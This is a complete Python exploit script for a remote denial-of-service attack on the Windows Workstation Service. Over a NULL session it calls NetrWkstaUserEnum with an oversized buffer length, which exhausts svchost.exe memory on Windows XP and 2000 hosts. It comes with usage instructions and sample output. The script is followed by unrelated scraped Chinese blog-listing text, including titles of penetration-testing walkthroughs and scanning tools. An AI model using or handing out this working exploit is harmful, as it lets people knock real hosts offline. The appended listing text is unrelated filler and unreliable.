- #!/usr/bin/python
- # MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
- # Bug discovered by h07 <h07@interia.pl>
- # Tested on:..
- # - Windows XP SP2 Polish
- # - Windows 2000 SP4 Polish + All Microsoft Security Bulletins
- # Example:
- #
- # wks_dos.py 192.168.0.2 512
- #
- # [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
- # [*] Coded by h07 <h07@interia.pl>
- # [*] Connecting to 192.168.0.2:445 (NULL Session)
- # [+] Connected
- # [+] The NETBIOS connection with the remote host timed out.
- # [+] 192.168.0.2: Out of memory
- # [+] Done
- #
- # NetrWkstaUserEnum(max_len = 1024 * 1024 * 512)
- # Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP
- # svchost.exe memory usage: 512 MB
- ##
- from impacket.structure import Structure
- from impacket.nmb import NetBIOSTimeout
- from impacket.dcerpc import transport
- from impacket import uuid
- from struct import pack
- from string import atoi
- from sys import argv
- from sys import exit
- print "/n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit"
- print "[*] Coded by h07 <h07@interia.pl>"
- if(len(argv) < 3):
- print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
- print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
- exit()
- MB = 1024 * 1024
- host = argv[1]
- memory_size = MB * atoi(argv[2])
- pipe = 'browser'
- UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0')
- stringbinding = "ncacn_np:%(host)s[//pipe//%(pipe)s]"
- stringbinding %= {'host':host, 'pipe':pipe}
- def utf16(str):
- return str.encode('utf_16_le')
- class B1(Structure):
- alignment = 4
- structure = (
- ('id', '<L=0x41414141'),
- ('max', '<L'),
- ('offset', '<L=0'),
- ('actual', '<L'),
- ('str', '%s'),
- )
- class NetrWkstaUserEnum(Structure):
- alignment = 4
- opnum = 2
- structure = (
- ('server', ':', B1),
- ('info_level1', '<L=1'),
- ('info_level2', '<L=1'),
- ('referent_id1', '<L=0x42424242'),
- ('num_entries', '<L=0'),
- ('null_pointer', '<L=0'),
- ('max_len', '<L'),
- ('referent_id2', '<L=0x43434343'),
- ('enumeration_handle', '<L=0x00000000'),
- )
- query = NetrWkstaUserEnum()
- server = "%s/x00" % (host)
- query['server'] = B1()
- query['server']['id'] = 0x41414141
- query['server']['actual'] = len(server)
- query['server']['max'] = len(server)
- query['server']['str'] = utf16(server)
- query['max_len'] = memory_size
- trans = transport.DCERPCTransportFactory(stringbinding)
- print "[*] Connecting to %s:445 (NULL Session)" % (host)
- try:
- trans.connect()
- except Exception, err:
- print "[-] %s" % (err)
- exit()
- print "[+] Connected"
- dce = trans.DCERPC_class(trans)
- dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1])))
- dce.call(query.opnum, query)
- try:
- raw = dce.recv()
- status = raw[-4:]
- if(status == pack("<L", 0x00000005)):
- print "[-] Return code: Access denied"
- exit()
- if(status == pack("<L", 0x00000008)):
- print "[-] Return code: Memory allocation error, out of memory"
- exit()
- if(status == pack("<L", 0x00000000)):
- print "[+] Return code: Success, memory allocated"
- except NetBIOSTimeout, err:
- print "[+] %s" % (err)
- print "[+] %s: Out of memory" % (host)
- print "[+] Done"
- # EoF
相关推荐
【计算机视觉】基于复杂环境下的车牌识别
本文针对复杂环境下(光照变化、车牌变形、噪声干扰)的车牌识别问题,提出了一套完整的优化方案。通过四个核心环节进行改进:1)采用CLAHE、同态滤波等技术优化光照处理;2)使用边缘检测和透视变换应对车牌变形;3)结合中值滤波和暗通道去噪算法消除干扰;4)改进字符分割与识别方法。文章提供了详细的Python实现代码,展示了从预处理到字符识别的完整流程,并通过多策略融合显著提升了复杂场景下的识别准确率。实验结果表明,该方法能有效应对各类复杂环境挑战,为实际应用提供了可靠解决方案。
【HTB系列】靶机Querier的渗透测试
总结与反思: 1. 收集信息要全面 2. 用snmp-check检查snmp目标是否开启这个服务 3. smbmap尝试用匿名用户anonymous来枚举目标的共享资源,可能会枚举成功 4. 使用smbclient连接到smb进行命令操作 5. 使用ole来分析宏 6. 使用mssqlclient.py来连接MSSQL 7. mssqlclient.py开启Windows Aut...
Ubuntu20.04 安装 MATLAB R2023b 常见问题及解决方案
本文提供了Ubuntu20.04系统上安装MATLAB R2023b的完整指南,包括系统要求检查、依赖项安装、详细安装步骤及常见问题解决方案。特别针对GTK模块加载失败、OpenGL图形加速问题和中文显示乱码等常见问题提供了有效解决方法,帮助用户顺利完成安装并优化使用体验。
TombWatcher - Windows【Medium】 - HTB
是微软 Windows Server 提供的核心服务之一,用于构建企业级。
MMSegmentation 安装教程,避免mmcv不合适版本,及相关问题解决
都行,不做要求。
别再折腾框架了!用华为应用市场官方渠道搞定GBOX,安全安装谷歌全家桶(鸿蒙HarmonyOS 3/4实测)
本文详细介绍了如何在鸿蒙系统上通过华为应用市场官方渠道安全安装GBOX,实现谷歌全家桶的无损使用。该方法避免了传统破解方式的安全风险,利用沙箱技术隔离运行环境,确保系统稳定性和数据安全。特别适合鸿蒙HarmonyOS 3/4用户安全使用谷歌生态应用。
golang 对rdp的弱口令测试_某大学渗透测试实战靶场报告Part2
点击上方“蓝字”关注公众号获取最新信息!本文作者:久久久久久久、欧根亲王号、森浩、3had0w(贝塔安全实验室-核心成员)一、192.168.3.X段的信息搜集(1) 192.168.3.x段存活主机信息使用以前自己改的一个domain.bat批处理脚本或K8哥哥的Ladon得到192.168.3.x段存活主机如下,Ladon项目地址:https://github.com/k8gege/...
IPD流程中CBB管理的5个致命误区,第3个坑了80%的团队
本文深入剖析了IPD流程中CBB管理的五个致命误区,尤其指出缺乏有效的度量与激励机制是影响80%团队的核心陷阱。文章强调CBB的核心在于前瞻性设计,而非简单归档,并需平衡通用性与产品竞争力,同时建立持续运营机制,确保CBB与市场需求对齐,从而真正实现缩短开发周期、降低成本的目标。
Connection timed out: connect 解决办法
问题阐述: 由于需要在Linux上进行项目的测试,将项目放在Linux服务上,通过地址和端口号进行连接,但会出现java.net.ConnectException: Connection timed out: connect 的错误。 如图: 尝试解决办法: Linux和Windows互ping一下。尝试能不能通,检查一下URL的地址是否正确检查Linux项目是否启动,端口
【C# + HALCON 机器视觉】HALCON经典算子:光流法运动分析(optical_flow_mg)
摘要:本文面向智能监控人流统计需求,研究C#与HALCON集成开发中optical_flow_mg算子的应用。通过RTSP获取视频流,利用光流法计算运动矢量,结合形态学操作与区域筛选实现行人区域分割,最终完成人流量统计与热力图可视化。详细阐述ROI局部处理等性能优化策略、try-catch异常捕获机制及跨平台集成方案。实验表明,该系统检测准确率达93.6%,单帧处理时间42ms,为公共场所人流量统计提供了完整可行的技术方案。
opencv 双目摄像头拍照(分别左右镜头拍照)
准备一个usb线的双目同步摄像头: 运行环境是vc2015,opencv3.1。 将左右两个摄像头拍到的图片分别保存起来。 1)适用条件 双目同步摄像头(两个镜头,共用一个设备ID) 使用语言:C++ 、opencv库 摄像头 分辨率2560*960 或以上。 源程序: #include"stdafx.h" #include<iostream&g...
SecureCRT连接CentOS时,出现"the remote system refused the connection"或者"connection timed out"
1 事件简介 使用的是w10系统,centos6.5。 好久没有使用SecureCRT连接CentOS啦,今天用一下结果出现什么"the remote system refused the connection",一开始我以为是CentOS防火墙没有关,然后去把防火墙关了,但是还是出现这个问题。接着我想是不是在SecureCRT在选择连接的时候,有一些参数没有选对,比如端口22,协...
功能安全实战系列12-英飞凌TC3xx锁步核及其自检开发
本文介绍了英飞凌Tricore系列芯片的锁步核(Lockstep Core)功能及其故障注入自检机制。锁步核通过主核和检查核同步执行指令,并比较输出结果来检测硬件故障。文章详细阐述了锁步核的工作原理、使能配置方法以及故障注入自检的实现过程。故障注入测试通过专用寄存器LCLTEST触发,系统会定期自动测试比较器节点,验证锁步核的故障检测能力。当检测到异常时,会触发SMU模块的警报机制。该技术为汽车电子系统提供了重要的功能安全保障。
Metasploit利用MS17-010漏洞
端口扫描 使用nmap扫描主机及开放的端口:nmap -sS 192.168.1.* Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-25 15:06 CST Nmap scan report for cvr328w (192.168.1.1) Host is up (0.00049s latency). Not shown: 998 cl...
温度PID控制PLC程序
温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值
数学建模模型总结
这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!
网络请求及各类错误代码含义总结(Errors Code)
在很多时候都会遇到错误, 还会带有一些 Error Code , 比如在各种网络请求, 文件操作, cookie 错误等各种错误的代码和错误代码对应的含义. 以下目录为 SOCKS4 Errors, SOCKS5 Errors, FTP Errors, HTTP Errors, CFURLConnection & CFURLProtocol Errors, File Errors, ...
文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况
主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。
Connection timed out: connect 解决方法
今天本来程序好好的。。。不知道怎么搞的。。突然就报错误。。。数据库一切正常,连的是本机的库,网上说有可能是防火墙的问题,我防火墙关了。。网线也是好的。后来受别人启发。。。把别的正常系统里面的配置文件复制过来。。。修改一下。。OK了。。没问题了。。。我估计可能是因为经过SVN版本控制,改变了配置文件的编码。。导致不能解析。。。。。。。。...
NTscan扫描工具
ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。
Error:Could not determine the class-path for interface com.android.builder.model.AndroidProject
http://blog.youkuaiyun.com/ithouse/article/details/71248820http://blog.youkuaiyun.com/ithouse/article/details/71248820 出现这个错误一般是在高版本的AndroidStudio里导入旧版本的gradle项目,需要: 1. 打开build.gradle(Project :)文件,修改classpath为(...
远程连接虚拟机的Network error: Connection timed out问题
远程连接虚拟机的Network error: Connection timed out问题 我使用的是MobaXterm远程连接我的虚拟机。 出现Network error: Connection timed out 网络错误:连接超时问题一般是电脑防火墙阻挡远程连接,先关一下windows防火墙。 1、打开电脑的控制面板,找到Windows Defender防火墙,关闭防火墙。 2、两个都勾...
[c.c.a.m.AgentManagerImpl] (AgentConnectTaskPool-39:ctx-c37090c5) Failed to handle host connection: ...
如果无法添加成功,/etc/redhat-release文件覆盖过去 cat/etc/redhat-release CentOS Linux release 7.1.1503 (Core)Red Hat Enterprise Linux Server release 7.0 (Maipo) 以下有问题: # cat /etc/redhat-releasebak CentOS Linux ...
循环嵌套(多层 for 循环)
表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。
Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”
滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。
【数据结构-5】单链表的实现
单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。
C# 数据结构和特殊类型
.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。
C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?
第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。
工厂设备接MES为什么慢:协议识别与点表配置自动化的技术拆解
工业现场设备接 MES 的周期主要消耗在协议识别与点表配置。本文拆解这条链路的四层结构,给出点表映射的数据模型、两种部署架构的对比,以及可直接落地的三项验收口径与校验代码。适合工控集成、MES 实施、设备联网方向的工程师。
list
的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。
1628



被折叠的 条评论
为什么被折叠?



